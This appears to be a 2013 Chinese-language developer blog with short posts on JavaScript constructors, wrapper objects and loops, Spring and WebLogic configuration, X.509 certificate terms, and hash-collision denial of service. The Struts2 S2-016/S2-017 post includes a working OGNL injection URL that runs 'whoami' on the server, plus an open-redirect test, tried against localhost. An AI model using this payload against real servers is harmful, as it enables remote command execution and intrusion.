7/31/2013
4:52:00 PM 0

Javascript Constructor Property

Javascript constructor 是建構該物件之執行個體的函式參考,所以當建立該物件時就會賦予 constructor 屬性值
function Employee(name, department)
{
    this.name = name;
    this.department = department;
}

var e1 = new Employee('Albert', 'accounting');
var e2 = new Employee('Grace', 'sales');
console.log(e1 instanceof Employee);
console.log(e2 instanceof Employee);
console.log(e1.constructor == Employee);
console.log(e2.constructor == Employee);
output
--------------------------------------------
true
true
true
true

但如果使用 constructor 屬性來判斷 constructor function 是不安全的, 因為 constructor 是可以被修改的
function NewType(){};

e1.constructor = NewType;
console.log(e1 instanceof Employee);
console.log(e1 instanceof NewType);
console.log(e1.constructor == Employee);
console.log(e1.constructor == NewType);
console.log(e1.constructor instanceof Function);
output
--------------------------------------------
true
false
false
true
true
var newTypeInstance = new NewType();
e2.constructor = newTypeInstance;
console.log(e2 instanceof Employee);
console.log(e2 instanceof NewType);
console.log(e2.constructor == Employee);
console.log(e2.constructor == NewType);
console.log(e2.constructor instanceof Function);
console.log(e2.constructor == newTypeInstance);
output
--------------------------------------------
true
false
false
false
false
true

Javascript 除了基本型別(primitive types)之外,其餘都是物件,因此都有constructor屬性
console.log(this.constructor);
console.log(RegExp.constructor);
console.log(Date.constructor);
console.log("xyz".constructor);
output
--------------------------------------------
function Window() { [native code] }
function Function() { [native code] }
function Function() { [native code] }
function String() { [native code] }

Wrapper Object 上場
var num = 1;
console.log(num.constructor);
output
--------------------------------------------
function Number() { [native code] }

一般建構函式不需要有 return, 當有設定回傳值時, 會改變 constructor 所參考的值
1. 回傳值是物件 : 會改變 constructor 所參考的值,並且影響 instanceof 判斷結果
2. 回傳值是基本型別 : 不影響 constructor 所參考的值

function Book1(isbn, name)
{
    this.isbn = isbn;
    this.name = name;
 
    return [isbn, name];
}
var b1 = new Book1('123', 'Book1');
console.log(b1 instanceof Book1);
console.log(b1 instanceof Array);
console.log(b1.constructor == Book1);
console.log(b1.constructor == Array);
console.log("###############################");
function Book2(isbn, name)
{
    this.isbn = isbn;
    this.name = name;
 
    return true;
}
var b2 = new Book2('456', 'Book2');
console.log(b2 instanceof Book2);
console.log(b2 instanceof Array);
console.log(b2.constructor == Book2);
console.log(b2.constructor == Array);
output
--------------------------------------------
false
true
false
true
###############################
true
false
true
false

Set Spring Property File Encoding

<bean id="contextPropertyConfigurer"
    class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
     <property name="locations">
         <list>
             <value>classpath:test.properties</value>
         </list>
     </property>
     <property name="fileEncoding" value="UTF-8"/>
</bean>
<bean id="sysConfig" 
    class="org.springframework.beans.factory.config.PropertiesFactoryBean">
    <property name="location" value="classpath:test.properties"/>
    <property name="fileEncoding" value="UTF-8"/>
</bean>
7/29/2013
3:56:00 PM 0

WebLogic Session Timeout 設定

方法一 : weblogic.xml
<session-descriptor>
    <timeout-secs>2400</timeout-secs><!--seconds-->
</session-descriptor>
WebLogic Console ==> deployments / deployment name / Configuration / General / Session Timeout (in seconds)
WebLogic Console 中的設定值, 就是 weblogic.xml 的值

方法二 : web.xml
<session-config>
    <session-timeout>120</session-timeout><!--minutes-->
</session-config>
設定0或小於0則 session 永遠不會 time out (可參考 web-app_2_3.dtd 內的說明)
7/19/2013
3:07:00 PM 0

Apache Struts2 發布 S2-016 S2-017 漏洞公告

2013年七月 Apache Struts2 發布漏洞公告, 有心人士可以利用這漏洞執行伺服器指令

http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html

測試了一下

test1 :
http://127.0.0.1/test.action?redirect:http://www.google.com/
test2 :
http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令,
主要的漏洞是源自於 OGNL(Object-Graph Navigation Language), 是內建於 Struts2 中的 EL(Expression Language)

詳細可參考 : http://www.inbreak.net/archives/507
7/17/2013

數位憑證基本名詞

數位憑證遵循 X.509 標準

CSR 憑證簽章要求檔 (Certificate Signing Request)

一般申請憑證必須先用工具產生 CSR 檔,產生過程中會將公鑰和私鑰, 一起產生出來,CSR 中包含憑證的基本資訊和公鑰, 產生之後將 CSR 送給 CA 做簽署
wikipedia : http://en.wikipedia.org/wiki/Certificate_signing_request

憑證認證採行由上而下的階層設計 Root CA >> CA >> Certificate


Root certificate : 自我簽署的作用,根憑證授權單位有能力指派中繼憑證授權者
wikipedia : http://en.wikipedia.org/wiki/Root_certificate
Intermediate certificate : 中繼憑證授權單位,可發出伺服器憑證,個人憑證,發行者憑證,或其他中繼憑證授權單位
wikipedia : http://en.wikipedia.org/wiki/Intermediate_certificate_authorities
Domain certificate : 一般使用者所申請的網域或伺服器憑證
7/12/2013
2:36:00 PM 0

Javascript Wrapper Object

Javascript 有五個基本型別(primitive types)

string
number
boolean
null
undefined

除了這五個之外, 其他都是物件(object)
去掉 null 及 undefined, 其他三個各有對應的 wrapper 物件

string --> String
number --> Number
boolean --> Boolean

Javascript 在執行過程中可以彈性化的轉換基本型別到相對應的 wrapper 物件
var a = "123";
console.log(typeof a);
a.test = "456";
console.log(a.test);
output
--------------------------------------------
string
undefined
因為是基本型別無法賦予屬性, 所以 a.test 會顯示 undefined

自動轉型成 String 物件
var b = "456";
console.log(b.length);
output
--------------------------------------------
3

如果要自訂屬性則必須使用 wrapper 物件
var obj = new String("test");
obj.test1 = "test wrapper object";
console.log(obj.test1);
console.log(typeof obj);
output
--------------------------------------------
test wrapper object
object

模擬 String 物件內部的操作方式
var obj = {
  "0" : "t"
  "1" : "e"
  "2" : "s"
  "3" : "t"
  length: 4
  test1: "test wrapper object"
}

再來看看 Number 物件
var x = 99;
var y = new Number(99);
console.log(typeof x);
console.log(typeof y); 
console.log(x == y); 
console.log(x === y);
output
--------------------------------------------
number
object
true
false

比較 x == y 時,會呼叫 valueOf() 取得回傳值,並做比較的動作
var s1 = new String("abc");
var n1 = new Number(111);
var b1 = new Boolean(true);
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
String.prototype.valueOf = function() { return "xyz";}
Number.prototype.valueOf = function() { return 999;}
Boolean.prototype.valueOf = function() { return false;}
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
console.log(s1.toString());
console.log(n1.toString());
console.log(b1.toString());
output
--------------------------------------------
true
true
true
false
false
false
abc
111
true
7/07/2013
8:57:00 PM 0

Javascript loop

  1. for
    var myArray = [1,2,3];
    for (var i = 0; i < myArray.length; i++) 
    {
        alert(myArray[i]);
    }
    
    output
    --------------------------------------------
    1
    2
    3

  2. for in
    var obj = 
    {
        a : 1,
        b : 2
    };
    
    for(var key in obj) 
    {
       alert(key);
    }
    
    output
    --------------------------------------------
    a
    b

  3. forEach (IE9 之後才支援)
    forEach 是從 Array.prototype.forEach 來的, 因此只要是 Array 物件就擁有 forEach 方法
    function alertElements(element, index, array) 
    {
        alert(element);
    }
    [1,2,3].forEach(alertElements);
    
    output
    --------------------------------------------
    1
    2
    3

    在 ECMAScript 5, 也可使用 forEach 取得物件屬性名稱
    var obj = 
    {
        a : 1,
        b : 2
    };
    
    Object.keys(obj).forEach(function(key) 
    {
        alert(key);
    });
    
    output
    --------------------------------------------
    a
    b

  4. while
    var i=0;
    var myArray = [1,2,3];
    
    while(myArray[i])
    {
        alert(myArray[i]);
        i++;
    }
    
    output
    --------------------------------------------
    1
    2
    3

  5. do while
    var i = 1;
    var sum = 0;
         
    do 
    {
        sum += i;
        i++;
    } 
    while (i <= 100);
    
    alert(sum);
    
    output
    --------------------------------------------
    5050
7/03/2013

Hash Collision DoS

oCERT Advisories ==> http://www.ocert.org/advisories/ocert-2011-003.html

Hashtable 在 Java 中是很常被使用的 class 之一, Hashtable 的原理是利用 hash code 的方式, 算出陣列的索引, 來加速資料搜尋, 最佳狀況下, hash code 是不會重覆的, 因此可以達到快速搜尋的效果

Wikipedia 對 Hash table 的說明 ==>  http://en.wikipedia.org/wiki/Hash_table

hash code 的運算方式有很多種, 但不管使用哪一種方式, 都難免發生兩種不同的 Key, 算出同樣 hash code 的狀況, 稱之為碰撞(collision)

我們來看 Java HashMap 如何去處理 collision
public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key.hashCode());
    int i = indexFor(hash, table.length);
    for (Entry<k> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

public V get(Object key) {
    if (key == null)
        return getForNullKey();
    int hash = hash(key.hashCode());
    for (Entry<k> e = table[indexFor(hash, table.length)];
         e != null;
         e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
            return e.value;
    }
    return null;
}

未發生 collision 的狀況下資料結構應該是長這樣

 

當發生 collision 時, Hashtable 變形為 single linked list

在一個線性串列中,如果資料量很大,花費在搜尋上的時間成本也就隨之增加,
有心人士可利用這個特性來對 Java 撰寫的 Web 做攻擊